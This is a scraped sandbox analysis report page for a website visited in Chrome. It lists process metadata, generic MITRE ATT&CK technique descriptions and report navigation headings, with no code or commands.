Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.mycimalive.com/"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.mycimalive.com/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 173

Chrome Cache Entry: 174

Chrome Cache Entry: 175

Chrome Cache Entry: 176

Chrome Cache Entry: 177

Chrome Cache Entry: 178

Chrome Cache Entry: 179

Chrome Cache Entry: 180

Chrome Cache Entry: 181

Chrome Cache Entry: 182

Chrome Cache Entry: 183

Chrome Cache Entry: 184

Chrome Cache Entry: 185

Chrome Cache Entry: 186

Chrome Cache Entry: 187

Chrome Cache Entry: 188

Chrome Cache Entry: 189

Chrome Cache Entry: 190

Chrome Cache Entry: 191

Chrome Cache Entry: 192

Chrome Cache Entry: 193

Chrome Cache Entry: 194

Chrome Cache Entry: 195

Chrome Cache Entry: 196

Chrome Cache Entry: 197

Chrome Cache Entry: 198

Chrome Cache Entry: 199

Windows Analysis Report
https://www.mycimalive.com/